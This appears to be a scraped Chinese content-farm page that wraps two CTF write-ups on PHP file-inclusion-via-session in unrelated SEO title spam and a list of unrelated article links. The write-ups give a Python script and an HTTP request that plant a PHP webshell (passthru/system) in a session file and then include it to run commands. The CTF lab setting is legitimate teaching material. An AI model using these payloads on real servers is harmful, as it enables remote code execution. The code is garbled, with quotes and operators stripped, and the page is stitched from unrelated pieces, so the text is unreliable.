当前位置: 首页 > news >正文

免费网站模板 下载网站后台文章编辑不了

免费网站模板 下载,网站后台文章编辑不了,ui设计说明万能模板,在线制作名片[题目信息]#xff1a; 题目名称题目难度文件包含-session22 [题目考点]#xff1a; 由于网站功能需求#xff0c;会让前端用户选择要包含的文件#xff0c;而开发人员又没有对要包含的文件进行安全考虑#xff0c;就导致攻击者可以通过修改文件的位置来让后台执行任意…[题目信息] 题目名称题目难度文件包含-session22 [题目考点] 由于网站功能需求会让前端用户选择要包含的文件而开发人员又没有对要包含的文件进行安全考虑就导致攻击者可以通过修改文件的位置来让后台执行任意文件从而导致文件包含漏洞。以PHP为例常用的文件包含函数有以下四种 include()require()include_once()require_once() [Flag格式]: SangFor{BU919IUdc4N6mqgCNdviZcXGJNPwNkCC}[环境部署] docker-compose.yml文件或者docker tar原始文件。 http://分配ip:2098[题目writeup] 1、实验主页 2、题解分析 #!/usr/bin/env python # coding: utf-8from time import sleep import requests url ‘url’ s requests.session() def execute(cmd): params { ‘file’: ‘?php passthru($POST[“cmd”]); ?’ } r s.get(url, paramsparams) params[‘file’] /tmp/sess’ r.cookies[‘PHPSESSID’] r s.post(url, paramsparams, data{cmd: cmd}) return r.textprint execute(‘cat /flag’) [题目信息] 题目名称题目难度文件包含-session2 [题目考点] 由于网站功能需求会让前端用户选择要包含的文件而开发人员又没有对要包含的文件进行安全考虑就导致攻击者可以通过修改文件的位置来让后台执行任意文件从而导致文件包含漏洞。以PHP为例常用的文件包含函数有以下四种 include()require()include_once()require_once() [Flag格式]: SangFor{vV0vVtZiLZMUMRUFZHPrAuSuuSH7jris}[环境部署] docker-compose.yml文件或者docker tar原始文件。 http://分配ip:2090[题目writeup] 1、实验主页 2、题解分析 ?phphighlight_file(__FILE__);error_reporting(0);ini_set(open_basedir, /var/www/html:/tmp);$file function.php;$func isset($_GET[function])?$_GET[function]:filters; call_user_func($func,$_GET);include($file);session_start();$_SESSION[name] $_POST[name];if($_SESSION[name]admin){header(location:admin.php);} ?分析题目源码可以看出 $_GET[‘function’] 和 $_SESSION[‘name’] $_POST[‘name’] 可控 其中 call_user_func($func,$_GET); 回调函数可利用 而且 include($file); 调用了文件包含 所以可以调用变量覆盖函数覆盖掉 $file 从而引入文件包含 ?functionextractfilephp://filter/readconvert.base64-encode/resource./function.php利用文件包含读到了admin.php和function.php的源码然而这两个文件源码对解题没有什么帮助。 从index.php可以看出 $_SESSION[‘name’] $_POST[‘name’] session的值可控session默认的保存位置如下 /var/lib/php/sess_PHPSESSID/var/lib/php/sessions/sess_PHPSESSID /var/lib/php5/sess_PHPSESSID /var/lib/php5/sessions/sess_PHPSESSID /tmp/sess_PHPSESSID /tmp/sessions/sess_PHPSESSID 由于 ini_set(‘open_basedir’, ‘/var/www/html:/tmp’) 我们包含不了 /var/lib/ 下的session 但是我在tmp下也找不到自己的session所以这里的session应该是在 /var/lib/ 下 这里可以调用session_start函数修改session的位置 POST /index.php?functionsession_startsave_path/tmp HTTP/1.1 Host: 192.168.17.87:2090 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0 Accept: text/html,application/xhtmlxml,application/xml;q0.9,*/*;q0.8 Accept-Language: zh-CN,zh;q0.8,en-US;q0.5,en;q0.3 Accept-Encoding: gzip, deflate DNT: 1 Cookie: PHPSESSID056395276464d1b4480bc1457efbb106 Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 41name?php echo aaa;system($_GET[x]);? 然后进行包含session /index.php?functionextractfile/tmp/sess_056395276464d1b4480bc1457efbb106xcatfsadgsdagsadgasd.php
http://www.hkea.cn/news/14264259/

相关文章:

  • 女生做网站前端设计师智能营销方法
  • 武夷山住房和城乡建设部网站如何保护自己的网站
  • 360建筑网官方网站北丰科技网站建设
  • 机械行业网站怎么做工信部怎么查网站备案
  • 已有域名 做网站重庆建设造价信息网官网
  • 网络营销推广的案例株洲seo优化高手
  • 网站广告布局国外产品展示网站模板
  • 网站建设 工商注册不重名的建筑公司名字
  • 十堰市公司网站建设东莞市城乡建设规划局官网
  • 江苏通力建设官方网站宣传册制作软件app
  • 公司网站制作找哪家设计素材网站照片
  • 如何快速建设网站电商平台技术开发方案
  • 技术支持 东莞网站建设石材做展示网站步骤
  • 广州天河建网站网站建设找单
  • 网站内容与功能模块设计简约风网站首页怎么做
  • 主流网站 技术建网站团队
  • 南宁网站建设速成培训网站二次开发模板
  • 环保公司网站架构怎么做wordpress文章404错误
  • 网站图片被盗连怎么办做结构设计有没有自学的网站
  • 以营销型网站为主要营销方式的案例电脑网站打不开是什么原因造成的
  • 上海网站推广定制免费的大数据分析平台
  • 长沙微网站建设公司一级造价工程师准考证打印时间
  • 花钱做网站要多少钱js网站下拉置顶代码
  • 红酒公司网站建设wordpress 静态化 linux
  • 危险网站怎么解除建设网站和app
  • 旅游网站设计思路杭州品牌网站设计制作公司
  • 网站管理密码可信网站是否必须做
  • 网站建设中行为的名词解释品牌策划推广方案
  • 台州网站建设方案策划哪个网站做外贸好
  • 微信服务号可以做万网站么中国建设银行分行网站